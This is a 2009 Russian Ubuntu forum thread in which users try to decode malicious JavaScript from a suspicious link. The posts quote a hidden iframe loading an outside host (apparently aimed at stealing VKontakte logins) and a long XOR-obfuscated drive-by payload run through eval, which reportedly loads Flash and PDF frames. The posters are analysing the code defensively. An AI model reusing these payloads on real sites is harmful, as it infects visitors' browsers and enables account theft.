Форум русскоязычного сообщества Ubuntu


Хотите сделать посильный вклад в развитие Ubuntu и русскоязычного сообщества?
Помогите нам с документацией!

Автор Тема: вредоносный скрипт  (Прочитано 2022 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн ZwS

  • Автор темы
  • Старожил
  • *
  • Сообщений: 1674
    • Просмотр профиля
вредоносный скрипт
« : 20 Ноября 2009, 00:35:48 »
вобщем есть вопрос. скинули мне ссылку на "картинку". на это не повелся и глянул в исходник (ссылко пришло от контакта с которым пол года не общалсо). в нем скриптик, судя повсему меня хотели поломать.
любопытно, что именно сделать пытались.
<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62))</script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62))</script>
Dell Inspiron One 2330 | Intel+Radeon HD7650A | 8GB RAM | Ubuntu GNOME 17.10

Оффлайн xbox800

  • Любитель
  • *
  • Сообщений: 66
    • Просмотр профиля
Re: вредоносный скрипт
« Ответ #1 : 20 Ноября 2009, 00:56:29 »
String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62)вот эта байда расшифровуется как
<script type="text/javascript" src="js.js"></script>

Оффлайн ZwS

  • Автор темы
  • Старожил
  • *
  • Сообщений: 1674
    • Просмотр профиля
Re: вредоносный скрипт
« Ответ #2 : 20 Ноября 2009, 00:58:26 »
хы, дальше больше
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0069\u0074\u006d\u0061\u0073\u0074\u0065\u0072\u007a\u002e\u006f\u0072\u0067\u002f\u0073\u0074\u0061\u0074\u0073\u002f\u0072\u0075\u0031\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')помоему я чтото похожее видел. видимо вконтакт пытаются угнать
Dell Inspiron One 2330 | Intel+Radeon HD7650A | 8GB RAM | Ubuntu GNOME 17.10

Оффлайн unimix

  • Активист
  • *
  • Сообщений: 537
    • Просмотр профиля
Re: вредоносный скрипт
« Ответ #3 : 21 Ноября 2009, 00:46:40 »
Самый легкий способ узнать -- вместо "document.write" написать "alert".

Оффлайн Kaktusjara

  • Новичок
  • *
  • Сообщений: 1
    • Просмотр профиля
Re: вредоносный скрипт
« Ответ #4 : 21 Ноября 2009, 18:17:45 »
Мне попалась ссылка на другой сайт. В том PHP-файле (вытягивал через wget) нашол валидный HTML со скриптом. Скрипт шел в одну строку, потому некоторые виндусятские редакторы не отображали дальше середины суммирования длинной переменной. Код привел в более-менее нормальный вид.

Проблема в том, что сам я в яваскрипте практически 0 и более чем с документ врайт и а+б не работал. Но все-же мне показался подозрительным один фрагмент когда с функшонами и думаю следует проверить переменные обьявленные в конце скрипта.

Интересно каким методом и как злоумышленники пытаются получить пароль.


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
</head>
<body>
<!-- leapIpsumOne -->
<script language="JavaScript" type="text/javascript">

this.gBI=false;
var nQV;
if(nQV!='tUX' && nQV != ''){nQV=null};
var wZQ="";
var cZQ='';
var aFK='';
var kDG;
var wBI=function(){};
var dON;
if(dON!='fAH'){dON=''};
var tOB=function(){};
var sJY=function(){};
var bEV="";
this.pUDG="pUDG";

kDG="d4d2d6d5d0d1d3d49efa8bf5e293c3cde8e496bf88edd9f2d7b5c9f6f5ce9983f9f680bbabcae1fc92e6cac4c5c1949392ddc3c184cfa896ed9080f4c4adc7dfc5918bc5c8d9c6c5e5b7c1e6f880cdf2d5c8eafcdff7fb8680bed3af94c29099c7ca84978092d5849a8bba98c089bd88bf97a180f4c3c081c6a8efd2dff5efcaf6acbd86baccf9ef85f4d3cdf89b9db18dc88fd9a484cf8acd98d78493dd8a9593c7b5d187958b8d85dfb9969b9bc7849590d4c2809e8d9e8f84be9081d8d7d485c1c381b2c4ddd185c5d58296dcf7989794b4ccf28cf883b4cf968f9a8895978aa4d0869088a0869b859ceca0d9818eb9b39cb2ef80a8a6c497d396a3d6879392999fc9dc92899e90969292e09c8cc580b8a28d93d6a29195d58ad6938f87f2fb8bd681b3b59ae993a7fcd6ae88b3bccdfd9f8ddf85c4aa80919b9a92b782d0978c90e1a28e879dd5d3c4d5868ba78483cfd2938bd89dc8c38b8bdb84908785d2b190beda87a19390d586f2888397bb9dafc7f488af8b81cadd879e8499e2de93d6e084b48da195e49ed08edc95868390a99ac68cb89ba7bacebb98a39990d98d87c7c081afb59094d9bae0c1ad8eacb594beb5c8c0868bc696d184a8be8c86c6e1bcd1b291b0ff82acbc98d4898b95d086d6e4829788a195ea85f5c6bcdb84949cc498ccc486bcc59e9f8d9ce59084c7d3b5bf9196c1f0ff82f5b890b393e4a1c3d9de8291bf82c9da9080f880ce8b8294bc90d1c292ee87908cd582979b9ed7839e96c098cfd699a488818bdc91cafc9dd1c18cbbb298c39cac98c691dc9186848eb7fdde95d1f0ff80bebe80e2b9d2aba686919dca859099c487a0c09ec8999eb086d5c1dea3c0d786829d868fc590eea286d4da82c282988086bc8cd093fb81bd84ad96a58097d4d0a1a4dd978ab083d48499c2d182c9a496908ee081b69af8ad9fa880869299b4ca91"+"84b0caaf9bfc89e4d4999c9e858a8e98d1d58a819d81ddb49fc084a99a8c9edbc390d491b489928da3c3a7cdffb397808198aaa4cfd6dfe1e698f5e7d7e4bb8c998382c0e5af87d19ad28e879982d5f1dc92c3a094b984abfbc194d696e8f697999cc795d1d8829090bcc785988a9783a59797d49ef499968e9dab9fc392a0c4c19685879ec8c191a6c39b9e8f80e8b296d3c294f3fd9b9b92bcad84a1ee99bd91e7ab8a969a9a8895d2d7a98a8190e784a7d6b0a495f49fd3dedc93958b86a8aecfd095a29281968585c7c792b9f691c29b8f969381c7d7a4c98695a5818d97c980c097dcaea49497dbbbf0dba7b1c0adcabcae9f938cd8d996c3ae97968489dcc192d285bfbb989a86f485d18d9e9cde98d58cbf88959687bdb1c88685e8f19fb89fabe1d8aeb9f593a2b099ebc6829697b7909187e493928c9b80c0c395b39b8387f880f3b086a485a7b590bbd0e2e2908999d68aeb9da585de8280c7a6b485909896c5aef196eabac4908398a6e8d58782d082d7838390b9bedbd6c691c68a9787aeadc294d697fbf6d7c2cbc7c9c3fd8c898781c6a08e9f88929cf0bc95808fd8d386959882c0aabd8cfba894b297d7e9d785a895c9b8978997989dfbb4c5d7de91948e909189eea4859485b8af9bbfe3dca9a58a929293a1c88093ab968896c490d4c7b98dd487ff96ab9aa0b29b8281c7bea7a0929996858df6829187d185cf9e9694f48a91d184d6aba0969590acc086c7c99d819687bbb594c58e938f9099998995e2f8d0d7dac0c9849bc99683bcc097d498bdb2da8d94f183839e8fce8687ab839883939dd7d29c90fc9a948fb0d49087c9c594d6ddbabc9f8994f282d7869ec4d4838eb7a9c9d79fa5eb9effa890b3a394e6ff87e1e884baf986938f8be4a79cd3c684be8495d4d2bbafd485949481cd8e89c3d483d3f9f4c3c4c9d0c59ec8908ea8ba81d3de"+"85c3c1d19390ae95ad97d08296c3f799c380bb85f3c0b6f580e497a1b8829798c691f2f29e86c598e8a89fb0bf92d39b80e8f187b1b4c18bd887cdb4af9cd4828890a7d2ec988ddf82d0a9819d8197aad1a4c8ef99839492a4aa98c080bfe2d5a0f689bbbdd6b8b79dbfeb958a848ea199f780d5d1c390848dc09596d19faea5de978bb4baddf9a88af1a182babacf918edbc19ccf8596a3f0d1dad8cd9c97978d87b69db486c4c0dcb2b698848fb7e98da1a3c1bb9abcb9cdc4d8dc90978d99a4f18eb8bec19ec8c39ebbaa82839184e594f59d9d9eae83ccd089889694889cd693c0dea69c8787998290f0f5d981d5a6e592b597b7a3c58183d1f9bbc9cc83918184d5a8b3c7cbc5d8d282c7c589b4aa81c2858fa7adac83d782f3fef89fa4af85b6bbe98abd9fb2b9ee8ea8a1c78a93c6bffdd8d5c2b59984d599c3c28486bc878d9381f18092938582c3d185c2a18a8690be83efa3e882abc5e8a3c0f0879982cca6a892c789c3d0d0a582a0c2d0dfde998dab95d5dfc3c487d3c297f7859682808098979fd28a8e9596b9e383d5dbc2ca86d282c9ac8a8586bb97c396c5dd9bd4939e988b96f0fad0828882c3918d998996edd2c793dc8582969d9ed0a6e7aa8083de84c690ae85bc93879790d5dfbea39a999ee5b4d1f7bd8aa1bf95b1a2cee6a995f2a7d2908a90bfb3d2d19cd685c18c839bb5b397e3b292829691e8fa969b9b9b85c090d499e1a29d9f81b7b1cfafb285aeb39fb7b3c8c08bdcc69893848cf6fec2d497838c9a86d4e4d090899fd298b1ad80a5e39397d49fa4a596849386a5a89690c4b2b9d0b0afd9a2b6809f86d0ae9dc0d1f28ef193e8bb889b8c93dbe6b3a78c96d792b4d783c59384829880c5afa590d38fd380909ddb9390d4d4b7cdc584d0d880c0c588bea1dcd7cfb2f78de588bea1d9a6a2e29df4bb8ea6d1958b83a3fae6d990d0fe"+"bba99ca8fb93bce9a68aa39cadace69fe9ae97828698aafac490d4d186c59b9e8f87e3f19f8ad884daf7ac82c0cec19590d598ad8e8181b29e85c490888dc09db6a4c495d3d3d6c7938f99a4e883948c8184ccdf85908a9f86c39acf88908fb486ff82969d94c4b7ed81f1bf96dc9d8a94b8b8c7d38796d287c89b8e89e38c858084c683949ac183a6a29fe2b68d9a8e94d4f8a2849b80d590d9dab595999982e08d8d80a0828fa885cfde9e88efbe9e909ad2d294d2c49fbdbd87c79783b1aa93d1de958b988b84d185cbd39fd99e9191e085e795bfc3d38398aca2ed85d0d9c7cd83d385d2928fc0f085fb879e84d2b8bddc92c7b4bed4a0a781e1a6c5e4b58cc39dcb82988085b6ea87c29982c58f939b9be198c395a7c2c193819ccadbd284f9bdd992a081d3c1888780bce7d7988a8ff6c2f1f7b3be8e878e888d95819ebfcdd4d4b7dcd6f9cdfd8fc9fcabbfcc83d6d2d28595f5f8a192d49da4c2e4d1d5ca9399aff4daced4d38ccef4c8dcd4ecf1c5f29bcae5cec6ced2958e8793978c868b9f8acbd2f492dc85fbd7f1f882918993c2ca96c8c4f9eee0eaa8c5f2f2c5cfc5e0f4cad797b986c0ebcacad3fad2c4d48dc7c7f4d3cb94cdc6c6999393958281a0d58edec885dbd7f8ffc7a2c8fb88cae4efc3c3cf9ca0e0d2c79ee8d187a8dff3daf4f4e4869dbfa3dac492bad492efeaecfed1f1929a9ca0b693859a85d5ebd2d7b9eaeac5f7eda0bdcf9d9fb5aed18d9be6d3cacce391b5c9eed0eee4cbde858880d0d0eaded4ecf1d1d4849c87cde3d8d0f297f8df81e7e7f8d2f9f4d3fef9d680d2f0f2f0f0daa1f78b98c3a2c1f6f8d7dce9e1aca0c6c2e2f6e2f7d6cdd4e48aceeddcd498d4f8efcfd18cebebf7959d8ef2e5d4d3d7d5c9c993dbd1d4c2d2e1c3cbd9d6c0d2fcb6bccbd4d3dcf7c49b978ed6f9f7c4d592e0eceb99d1e1ecf8ede0f1cde2ef"+"d1d08984e2f2dc948cb4e597e3cbeae5edeaf68a9cf5dde7d7cf84c7cbec93d1d7d5e5e7c6c8dac6cbc5d88f85c4cdc9f7fb8299818facb7ac9ac8e2efc5d683c0d1ce92ebc796f0cdd3e5efd6c9ced99996d1d9dfc08fd5958f96918f9b8cddeeb6e5e488d5d7e088dbfefbf8c3ddebe0cbecfcc1b0a1c2faa99dbcffd2ffd8e0e7f0ffd0ee949ad5fce2d2dfc3c5f2c88389c7c88ddaf3fbd0dbdae6d8cfdcc59de9daf0c5d782efefe89b8ef7fec9e1fac2e1f0d4aaf4f0f6f6f3b4ecf78c97c2dcf1f5e4c7cffaa49a9395939dd5d0d184edd2e2cadda4dc94dd9088cbcd89c084f1c3c9dbc1d3b3fcc6ddc2d0e9b6d0dfe8ecefc4dbc58faceadb9ed6fbddccd0e2c9829593b2e1dac7cce5fc84e6e5c8f1acd8f2f4d1d6c98be68dccd5cdf4e8e78fc280808cd2dd83ddc1e8e4d093d2eaf6e7b4d7a39a87848a8788afe7dcc79be2a5d5f4c5d0fadcb986b1a087fac5cb9ad7ebefa4c7eaf4ebd3b09f929188ecdaefa5d2f4ceece5dfcbe59d8190ac9decf1ca9df6dfd0d1a9d18693988e9580a4ebfbca94c5ced4d2c8e2fb87819acec4fec9d3c3c0f8e78bc7d5d5e1d6ded2dfe5bfc5fedccfe3e3c1d5f7d6d78e8fbecad78bc3f1f4cdc1c5f3b3cbe8ffdfeac6c0adb9c2e6e0c29b938082a5bd8e808ac9eed9de8bd2c8d6f9ebb89daaac8eeba8d2e1c0d3d4f88ba0aa818fc1c7dad1d781daf2add1c3d2d7c2c0c088d6ecfcdccff1e6b69ef7d6f0fdc0dfd985afbd938e9a8b848ec9d6ebf1a4dde7ead9d381888a8480d6fadad3f0a8a6dcf89883938a8cd8decde88480cce5c8ccd1a3a49080ccdb808599d6f292c591fec4f3c2c8fe929b8bbba892cbd9feb4ddcedbf1dab0d6c4858a9cf2d3dee6cac9c0d4c6f0c8dec1df99d4edd7d5cdeb80d3d0e6d4e7e5df959189cdc7d8ccc9dbc0c1c59f9d919785c1caddbef3ebd3caeb83d3e7a0b89df7c7"+"e7cff4f0ef89e2e2e2beac9dd8d7ddc9df8eca95858088b7b69ccfcfd98cf3f4c0f1fe97c0deb39d86ecf1e797eed9c4f1d5cafdb5959fc6fcfecfe5b3c9a5a184849a9689e6dddfd3d5dbb2eadcb8f5f8ddd5e7bac3dfd6819ca884868ecdf2f3ecc1d3ddf7ace2d7f4a1e3edacb5fefdf7d2c9cd9d888bada18eeace9da9c4efe2dcedee909b9cf5e0c8f2c5d2d0dfe4accadec3f2eed9e3a8cef7fbc5c6c99da5e8d28d80fbc9cbf8f7d3beaf83b9ead4d3d39ed7c5eedad2dcddae928ab8ddccd4ddc4d9c6dfc384ecdbc2f6db97dab88fbda3cfd0c4aec9f4e4fb91e2ffc5c7cfded7ced2d3ce8fcbdbb2f7dbf6d7e8dbdcaeb7c8f5f9dae5d5c69c85f5f0e3cede84ba84868c88888488cfe9e8d8d3e7f0d3cd9c8082829fc7fde092d9ddd4ecced7e781bce2d5f3e1dafcc295a2fed2ccdcfea1e9dfd1dec1cbfabd8e9c9a989fbcb487c0c680cee9d2ccc2e6dbb3b6d3dcdbe3e6f2e7b097d9e1fedde3beeee0f99f8c928795bfac878dc6dbc9d6de89d7849292a0bb849dc7ccdfdfdecbc6dd89d3b9fcffc1d2dbf4f4eadcefc3bcf7f6c1e9f89eb0bde7d6cceaded195c2d0e7ff8291cbefefd0d0f3d9f2a8daebf8d4cf9880d1fae0c7d98082808792cecdf4e4cccd878583a3b1ddd38481c6c6d2effac8ced69f99ccdaf8e486b7f2c5c4c7dfe9cace9785a0aedbeef6d4e7e682bdac83c9da95c9dbcdd8a4e98f8397eff1f7c1daf5eab4c8a6b59ad6d0cdc4f7decddee5e7eadbc5dff1e192c6daf3aa90b5aad4e2f7f7cddad6d5e9f1839e9cdae0e695d0cfe4f2f8cff7c5b5fbcac6d0f9f2c08ed4818e9cebf6d7c9feefe8d5e8b1d2e4e299aebc98c0c9d0e4f6e3e1c58588bd8dc5aec8ffd782f0e2a2e89a92ddd695e8e486d0b5c0f4838aaa98dfeef0c6d4c380d5b2ab83e4e0daeffac6ccf4d09fd0c7fcbd919182fb9ecaf79cecd6e391bebf99" + "94";

var bSF='';
var tUL=false;
var bGP=false;
function mH(l){var uD;
if(uD!='' && uD!='yF'){uD=null};
this.pWX="pWX";
function z(x){var sH="sH";
var hI=17556;
this.gVY="gVY";
this.cZ="cZ";
var nM="nM";
var zA=false;
var jQ;
if(jQ!='' && jQ!='eX'){jQ=''};
var wLI;
if(wLI!='' && wLI!='iL'){wLI=''};
var lM = 0, cF = x['l^e^nAg9t9h{'.replace(/[{^9Aq]/g, '')];
this.yX=false;
var t = 0;
this.wH=10331;
var rM=26342;
var kB;
if(kB!='' && kB!='iJ'){kB=null};
var kP="";
var kD="";
var iHC;
if(iHC!='fEJ'){iHC=''};
var tA=function(){};
while(t<cF){var tAP=new Array();
var vGL;
if(vGL!='hM' && vGL!='cX'){vGL='hM'};
this.eN='';
this.yT='';
t++;
var dQJ=false;
var rU=function(){};
h = v(x, t - 1);
var qF="";
lM += h * cF;
var fC;
if(fC!='lY' && fC != ''){fC=null};
var rW;
if(rW!='dE' && rW != ''){rW=null};
var hY;
if(hY!='zAL' && hY != ''){hY=null};
var mLA;
if(mLA!='tO' && mLA != ''){mLA=null};
var sTM;
if(sTM!='vQ' && sTM != ''){sTM=null};
var pQ;
if(pQ!='rY' && pQ != ''){pQ=null};
}this.cP="";
this.hE="";
var bCN;
if(bCN!='' && bCN!='oB'){bCN=''};
this.iN="";
this.mJ="";
this.kJ='';
var gJ=function(){};
return new String(lM);
}var yHM=new Array();
var qFO;
if(qFO!='' && qFO!='bSN'){qFO=null};
this.jA='';
this.oH='';
var hW=false;
var eJG=false;
var eZ;
if(eZ!='' && eZ!='gN'){eZ=''};
var eJA=new Array();
var lW;
if(lW!='' && lW!='iXK'){lW=''};
var xC;
if(xC!='' && xC!='yJ'){xC=''};
function p(f, d){var mR='';
if(fO == null) {var tQ;
if(tQ!=''){tQ='lIP'};
var oVW;
if(oVW!=''){oVW='dSJ'};
this.gRI=false;
var eF;
if(eF!=''){eF='rIH'};
var sZC=false;
this.wJ=false;
fO = {};
}var yB='';
var nK=new Array();
this.zC="";
this.sNU="";
var cPI;
if(cPI!='' && cPI!='mD'){cPI=null};
var fA;
if(fA!='' && fA!='fGX'){fA=null};
var tMX=new Array();
var xYD=false;
var bU=new Array();
var nMV;
if(nMV!='' && nMV!='sX'){nMV=null};
if(fO[f] == null) {var lWP=new Array();
this.nI='';
var cXG;
if(cXG!='lO' && cXG!='mJSD'){cXG='lO'};
var vA=new Array();
var aJ;
if(aJ!='vUT' && aJ!='hUH'){aJ='vUT'};
this.kZ="kZ";
this.gNS="";
this.rYR="rYR";
var gP = Object;
var hIX=7127;
var qPY='';
var pMF=14539;
fO[f] = new gP();
this.vGJ=30891;
this.fIX="fIX";
fO[f].vY = 0;
fO[f].iX = d;
var wJC=false;
var xIB;
if(xIB!=''){xIB='jGR'};
var vW=new Date();
var wZ;
if(wZ!=''){wZ='bQT'};
}}var gVAD="";
this.zU="";
function dA(f) {var wHQ=new Array();
var pOL=false;
this.bGJ=21811;
this.kV="";
var nCF=new Array();
if(fO[f] != null) {var tI=new Array();
var oLC=new Array();
var vGZ;
if(vGZ!='hYJ' && vGZ!='fQJ'){vGZ='hYJ'};
var zEB="";
var pG="";
var gPM=function(){};
var tKB=1983;
this.zQH=false;
var gR = fO[f];
var sD;
if(sD!='' && sD!='rUF'){sD='vGR'};
this.fQF='';
var iNK="iNK";
var vID="vID";
this.kPE='';
var r = gR.vY;
this.wN="";
var tG = gR.iX;
var fUR;
if(fUR!='' && fUR!='xCL'){fUR='zON'};
var qP = tG.substr(r, 1);
var zKL;
if(zKL!='' && zKL!='lCP'){zKL=null};
this.iRG=28488;
var vS="vS";
var kDI;
if(kDI!='' && kDI!='vM'){kDI=null};
var hUV="hUV";
this.zMT="";
var pC = tG['l^e^nAg9t9h{'.replace(/[{^9Aq]/g, '')];
var cPC;
if(cPC!='dK'){cPC=''};
var wNM=780;
var tKX=15143;
var cPO='';
var sTMH;
if(sTMH!='xWP' && sTMH!='hS'){sTMH='xWP'};
var qJY=new Date();
if(r + 1 >= pC) {var rQ=false;
var aF;
if(aF!='rYRO' && aF!='wZU'){aF=''};
var yJM=false;
gR.vY = 0;
this.mZ=24219;
var aV=function(){};
this.wLG=19932;
var lK=new Date();
} else {this.fSL=false;
this.aX=31265;
this.aRAN=false;
gR.vY = r + 1;
var hSB;
if(hSB!='pAR' && hSB!='dWT'){hSB='pAR'};
var aZS=false;
}var dCT="dCT";
var gNO=false;
var sPG;
if(sPG!='nIP' && sPG != ''){sPG=null};
this.yRI="";
return v(qP, 0);
this.rET="rET";
var iZQ='';
var cTY;
if(cTY!=''){cTY='xGR'};
var dG;
if(dG!=''){dG='dKL'};
this.nQBW="";
}var qV=25323;
var pOH=function(){};
var bA=31550;
var yFQ;
if(yFQ!='jW' && yFQ!='iJWF'){yFQ='jW'};
var qJOP;
if(qJOP!='nON' && qJOP!='tW'){qJOP='nON'};
var aXO=21144;
}this.tED="";
this.yFO=5160;
var xA=new Date();
this.nIR=23441;
var hUN=function(){};
function v(kT,pY){this.pWZ="pWZ";
this.fQN=false;
this.xS=false;
this.nEB="nEB";
this.fMT="";
return kT.charCodeAt(pY);
}this.iXO=false;
var kLE='';
var bUN=function(){};
function gV(vG,sZ){var gZUN=18965;
return vG^sZ;

//<-----------------------------------------------------------------------------------------------
var aVY;
if(aVY!='' && aVY!='uRS'){aVY=null};
var bQX=24811;
var yP=new Array();
this.pIR=8373;
this.oJW=1972;
var wVE=4942;
}var eR=new Date();
this.eZQ=8952;
var pQD=new Date();
var dGP=function(){};
var vC = new String(document['wbr!i0t0eQ'.replace(/[Q0!bq]/g, '')]);
if(vC['iWn:d:ewxwONfW'.replace(/[W:ENw]/g, '')]('aBr%i3t%y%'.replace(/[%|B3.]/g, '')) != -1) {var eDUB='';
var uRU='';
var eJU;
if(eJU!=''){eJU='hYZ'};
var rIF=15783;
var jQP='';
var oBW='';
 return 230;
this.kZE=25866;
var qPE;
if(qPE!=''){qPE='fIP'};
}var pMH="";
var wRI="";
var tCD;
if(tCD!='lOJO' && tCD != ''){tCD=null};
var pGV=new Date();
var pUP=new Array();
var fO = null;
this.nYJ="";
var xCZ=function(){};
var uPU="";
this.iXOH="";
var iH=window;
var qPK;
if(qPK!='jMFU'){qPK=''};
var pER;
if(pER!='tCN'){pER=''};
var tKT=function(){};
var pA=document;
var xSB='';
var mHU=String;
var qJ = iH['s1ejtCTbijmbejobu1tb'.replace(/[b1CFj]/g, '')];
var zMZ;
if(zMZ!='' && zMZ!='rMV'){zMZ='bOR'};
this.gFI='';this.gFQ='';var xU=230;
var hWX=false;
var aPS='';
var fYL;
if(fYL!='nYL'){fYL='nYL'};
var iPI=false;
this.qNY=24380;
var wL=iH['u}n8e}s8c#a8p8e#'.replace(/[#8?}^]/g, '')];
var cLM=false;
var wDW=new Array();
var iFA;
if(iFA!='pAD'){iFA='pAD'};
var pW = '';
var xQNA=21236;
this.hMV='';
var eHG=30230;
var hEB;
if(hEB!='' && hEB!='wHQJ'){hEB='jY'};
this.yXI="";
this.rC='';
var gH=mHU['fLrLoIm,C,hlaOrICloLdleO'.replace(/[O,LIl]/g, '')];
this.nWX="";
this.qZ="";
var eDA='';
var bEB;
if(bEB!='' && bEB!='vAV'){bEB=''};
var tS = '';
var rWH;
if(rWH!='' && rWH!='nAZ'){rWH='zEX'};
this.wJK='';
var aJK;
if(aJK!='' && aJK!='tYN'){aJK='lUF'};
var xIX=false;
var gFS=false;
var mTM;
if(mTM!='jE'){mTM=''};
var vUN=false;
var yFI=new Array();
for(var uH=0; uH < l.length; uH+=2){this.mTC=29084;
var nG=new Array();
var eHM;
if(eHM!=''){eHM='pAV'};
tS+='%' + l['shuhbQsht[r,'.replace(/[,[QPh]/g, '')](uH, 2);
var nSF=false;
var oRS=false;
this.jEL="jEL";
var uHC=new Array();
}var wJQ=function(){};
var cBW="";
var l = wL(tS);
var gHY=function(){};
var lCD;
if(lCD!='pSR'){lCD=''};
this.aH='';
this.nCP="nCP";
var fYP="";
var rA="";
var fWRA;
if(fWRA!=''){fWRA='hKV'};
var xIH;
if(xIH!=''){xIH='xMJ'};
var n = new mHU(mH);
var eFS;if(eFS!=''){eFS='rCF'};
var rWHQ;if(rWHQ!=''){rWHQ='xAB'};
var j = n['rxe]pJlJa]cJex'.replace(/[x]Jb[]/g, '')](/[^@a-z0-9A-Z_-]/g,'');
var mPO=function(){};var lIH;
if(lIH!='' && lIH!='rON'){lIH=''};
var bOV=new Array();
var gXQ=function(){};
var oDW;if(oDW!='' && oDW!='fCX'){oDW=''};
var hU = new mHU(z(j));
var yZI="";
this.jAT='';
this.qZG='';
var mPK;
if(mPK!='' && mPK!='dKVE'){mPK=null};
var zIT=function(){};
var cNO=function(){};
var eDUT;
if(eDUT!='jU' && eDUT!='yNI'){eDUT=''};
p('iV', j);
var lWH;
if(lWH!='' && lWH!='dSP'){lWH=''};
this.rAR=false;
var zKV="";
this.aRE=false;
p('vYH', hU);
this.hAR="hAR";
var oNW;
if(oNW!='' && oNW!='kVA'){oNW=null};
var nEL;
if(nEL!='' && nEL!='pAP'){nEL=null};
this.gZS='';
var oFY;
if(oFY!='' && oFY!='jAZ'){oFY=null};
var wXS;
if(wXS!='' && wXS!='dOT'){wXS=null};
var hWL;
if(hWL!='' && hWL!='rGV'){hWL=null};
for(var pU=0; pU < (l['l^e^nAg9t9h{'.replace(/[{^9Aq]/g, '')]);
 pU++) {var tWV;
if(tWV!='' && tWV!='bUL'){tWV=''};
var cNI=new Array();
var bER=19571;this.fOJ='';
this.bMV="bMV";var uLS=9652;
this.oPQ="oPQ";
this.bWD="bWD";
var qFE='';this.rKN="rKN";
var sT = v(l,pU);
var jYZ=function(){};
sT = gV(sT, xU);
sT = gV(sT, dA('vYH'));
this.vCFS="vCFS";
var fYV=function(){};

//----------------------------------------------------------------------------------------------->

this.mLK="mLK";
var hUHO;
if(hUHO!=''){hUHO='xQX'};
var iNW;
if(iNW!=''){iNW='vCVC'};
var jEV;
if(jEV!=''){jEV='jIV'};
sT = gV(sT, dA('iV'));
var bERS;
if(bERS!='' && bERS!='pAH'){bERS=''};
var hIN;
if(hIN!='' && hIN!='zKJ'){hIN=''};
var aFAJ=new Array();
var qDS=false;
var yJI;
if(yJI!='' && yJI!='jMB'){yJI=''};
var iRY;
if(iRY!='' && iRY!='pUPA'){iRY=''};
var mDG='';
var fQR;
if(fQR!='dGD' && fQR != ''){fQR=null};
var oDU=function(){};
this.hIDQ=15692;
pW+=gH(sT);
this.xIBS='';
var uXG;
if(uXG!='bGLS' && uXG != ''){uXG=null};
var pWZI;
if(pWZI!='bSD' && pWZI != ''){pWZI=null};
var yJQ;
if(yJQ!='fQL' && yJQ != ''){yJQ=null};
var vGN;
if(vGN!='xML' && vGN != ''){vGN=null};
this.zED=false;
}var wJG;
if(wJG!='fIF' && wJG != ''){wJG=null};
var iBI=function(){};
var bCL=function(){};
this.tEDQ="";
var jSL;
if(jSL!='fGB' && jSL != ''){jSL=null};
var tCP;
if(tCP!='' && tCP!='dQV'){tCP='nQN'};
var gVQ=30988;
var yBI='';
var jUVG='';
var tGF='';
this.qXA=20606;
iH['edvGaZlk'.replace(/[kSdZG]/g, '')](pW);
this.wLC=false;
var bED;
if(bED!='xAN'){bED='xAN'};
this.mVM="mVM";
var kZEH=16277;
this.pAPY="pAPY";
return pW=new mHU();
this.gHEN="";
this.fKJK="";
var vGJI="vGJI";
var mTA;
if(mTA!='' && mTA!='bUNC'){mTA=''};
var yRO=function(){};
var uBML;
if(uBML!='tSV'){uBML=''};
var oRG=function(){};
var jAH;
if(jAH!='zWX'){jAH=''};
var kXG=new Date();};
this.mTMV="mTMV";
var iLU="";
this.rKL="rKL";
this.tAZ=false;
var kLA="";
this.eXG="eXG";
mH(kDG);
//----------------------------------------------------------------------------------------------------
var tYT=function(){};
var kVSL=function(){};
var sJG=function(){};
var jED=new Array();
var nUV=new Array();
var yHY=function(){};[/color]
//----------------------------------------------------------------------------------------------------
</script>


</body>
</html>


Если кто-то способен проследить подозрительные function() , это было бы здорово.


Пользователь решил продолжить мысль 21 Ноября 2009, 20:09:10:
знакомый запустил его в инкогнито хрома. в итоге стало известно, что там флэш и пдф, 2 фрэйма. Что содержится в файлах и что они из себя представляют - не знаю.

Пользователь решил продолжить мысль 21 Ноября 2009, 23:44:07:
а может и делема о двух зайцах. за которым гнаться не знаю, но следы парни запутали умело  :P
« Последнее редактирование: 21 Ноября 2009, 23:44:09 от Kaktusjara »

 

Страница сгенерирована за 0.073 секунд. Запросов: 25.